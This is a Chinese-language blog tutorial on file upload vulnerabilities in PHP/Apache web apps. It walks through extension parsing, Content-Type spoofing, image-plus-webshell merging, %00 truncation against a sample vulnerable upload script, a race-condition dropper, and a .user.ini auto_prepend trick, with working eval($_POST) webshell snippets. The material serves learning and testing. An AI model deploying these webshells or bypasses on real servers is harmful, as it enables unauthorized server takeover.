文件上传

什么是文件上传漏洞

在现代互联网的web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率。比如企业的OA系统,允许用户上传图片、视频、头像和许多其他相关类型的文件。然而向用户提供的功能越多,web应用收到攻击的可能性就越大,如果web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获得网站的权限,或进一步危害服务器

为什么文件上传存在漏洞

上传文件时,如果服务端代码未对客户端上传的文件进行严格过滤,就容易造成文件上传漏洞

绕过限制

apache解析从右到左开始解析,若文件名类似1.php.xxxxx,xxxxx无法解析,所以向左解析php

$_FILES[“file”][“type”]是客户端请求数据包中的Content-Type,所以可以使用burp抓包将Content-Type更改就可以绕过限制

绕过getimagesize()

getimagesize()可以获得图片的宽、高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传

但是可以将一个图片和一个webshell合并为一个文件

例如:

cat image.png webshell.php >image.php

此时,使用此函数就可以获得图片信息,且webshell的后缀是php,也能被apache解析为脚本文件,就可以绕过getimagesize函数的限制

<?php
error_reporting(0);
$ext_arr=array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
    $tempFile=$_FILES['file']['tmp_name'];
    $targetPath = "/upload".$_REQUEST['jieduan'].rand(10,99).data("YmdHis").".".$file_ext;
    //$_REQUEST['jieduan']造成可以利用截断上传
    if(move_uploaded_file($tempFile,$targetPath)){
        echo '上传成功'.'<br>';
        echo '路径:'.$targetPath;
    }
    else{
        echo("上传失败");
    }

}
else{
    echo("不允许的后缀");
}
?>

在多数情况下,截断绕过都是在文件名后面加上HEX形式的%00来测试,例如filename=‘1.php%00.jpg’,但是由于在php中,$_FILE['file][‘name’]在得到文件名时,%00之后的内容已经被截断了,所以 $_FILE['file][‘name’]得到的后缀是php,而不是php%00.jpg,因此不能通过

if(in_array($file_ext,$ext_arr))

的限制
所以在进行截断时,不能直接在文件后面加%00,而应该更改hex

竞争条件攻击

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件,这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差,就可以利用这个时间差完成竞争条件的上传漏洞攻击
举个栗子:
攻击者首先上传一个webshell脚本10.php,10.php的内容是生成一个新的webshell脚本shell.php,代码如下

<?php
fputs(fopen('../shell.php','w'),'<php @eval($_POST[a])  ?>');

当10.php上传成功后,客户端立即访问10.php,那么会在当前目录下自动生成shell.php,此时就利用时间差完成了webshell的上传

还可以利用.user.ini文件完成文件上传的操作

诸如:
.user.ini

GIF 89a
auto_prepend_file=01.gif

01.gif

GIF89a
<script language="php">eval($_POST['123']);</script>

利用.htaccess文件绕过限制:
https://www.jianshu.com/p/c674904a711e

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值